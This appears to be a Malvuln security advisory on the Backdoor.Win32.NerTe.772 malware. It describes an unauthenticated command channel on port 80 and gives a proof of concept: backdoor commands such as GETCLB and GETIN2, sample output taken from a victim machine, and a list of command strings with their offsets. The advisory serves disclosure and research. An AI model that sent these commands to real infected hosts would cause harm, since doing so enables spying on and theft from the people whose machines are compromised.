Backdoor.Win32.NerTe.772 malware suffers from a code execution vulnerability.
a9370f85e3b72ca57a311664a057df8fDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/464d7073f884b586b17950eef2908a6e_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.NerTe.772
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 21, 80 and drops an executable named "scanregs.exe" under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc.
Type: PE32
MD5: 464d7073f884b586b17950eef2908a6e
Vuln ID: MVID-2021-0229
Dropped files: scanregs.exe
Disclosure: 05/28/2021
Exploit/PoC:
1) Get Clipboard data.
GETCLBñEmpty╢GETCLB
GETCLB*************** Clipboard **************ñI dont like uñ*************** End **************╢
2) Get Sounds
MSGUnknown command╢GETSND
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢
3) Get Installed Software
MSGUnknown command╢GETIN2
GETIN2DESKTOP-2C3IQHOñVictimñAT/AT COMPATIBLEñINTEL - 6040000ñ04/13/18ññ10:36:15 PMñ1 Hour, 15 Minutes, 19 Seconds.ñ0ñ0ñ0ñ2
792.64ñUnknown╢GETIN32146947072ñ951943168ñ-1476931584ñ1274384384ñ2147352576ñ1985863680ñ55ñ65,536ñ10000 - 7FFEFFFFñ4,096ñññ╢
GETIN4NTFSñc:\ñA2C9-AD2Fñ85405782016ñ12998012928ñ512ñ8ñ20,851,021ñ3,173,343ñFixedñCDñC: []ñD: []╢GETIN6HxD Hex Editor version 1.7.7.0
ñWinPcap 4.1.3ñWinSCP 5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.30319ñMicrosoft Visual C++ 2008
Redistributable - x86 9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual
etc...
4) Get System Info
GETDAT2021ñ5ñ27ñ23ñ53ñ23╢GETRST
RSTR09
ñ0ññ0ññ0ñññ0ññ0ññ1ñhttp://go.microsoft.com/fwlink/?LinkId=54896ñ0ññ0ñ0ñ0ññññ0ñ0ñ1ñC:\Users\Victim\Favoritesñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0╢RSTR01
ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ1╢RSTR02
ñ0ñ0ñ0ñc:\ñ0ñ0ñ0ñ-1ñ0ñ0ñnoñnoñ4ñ4ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0╢RSTR06
ñ-1ñ0ñ1ñ0ñ0ñ0ñ0ñ0ñnoñ0ñ%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programsñ0ñ0ñ@tzres.dll,-112ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñnoñnoñnoñ0ñ
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menuñ0ñ0ñ0ñ1ñ%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu╢RSTR04
ñ0ñ0ñnoñ0ñ1ñ0ñ0ñ0ñnoñnoñnoñnoñ0ñnoñ0ñ0ñ0ñPMñ0ñ0ñ0ñ0ñ%USERPROFILE%\Desktopñ0ñ0ñ0╢RSTR03
ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñApplicationñApplication ExtensionñMS-DOS ApplicationñWindows Batch Fileñ0ñnoñ0ñ0ñnoñ0
etc...
Commands List:
0xa3690: GETSND
0xa3d1c: GETCLB
0xa3d2c: GETCLB
0xa79e8: GETSCR
0xca0f4: GETIN2
0xca138: GETIN3
0xca168: GETIN4
0xca178: GETIN6
0xca1c4: GETIN7
0xca1d4: GETIN8
0xca1e4: GETIN9
0xca218: GETI10
0xd3ced: GETSND
0xd3dfd: GETDRV
0xd3e0c: GETDRV
0xd3e2d: GETCOL
0xd3e3c: GETCOL
0xd3e55: GETWND
0xd3e64: GETWND
0xd3f0d: GETMP3
0xd3f25: GETIN5
0xd3f34: GETIN5
0xd406d: GETINF
0xd40cd: GETIN2
0xd45cd: GETCLB
0xd4609: GETRST
0xd47d5: GETSCR
0xd4a35: GETDAT
0xd4a44: GETDAT
0xd4c65: GETREG
0xd4c74: GETREG
0xd4c7d: GETRE2
0xd4c8c: GETRE2
0xa12b0: SETUPI
0xd3cc5: SETSND
0xd4005: SETSCT
0xd4741: SETUPI
0xd47a9: SETUP
0xd4c95: SETCLR
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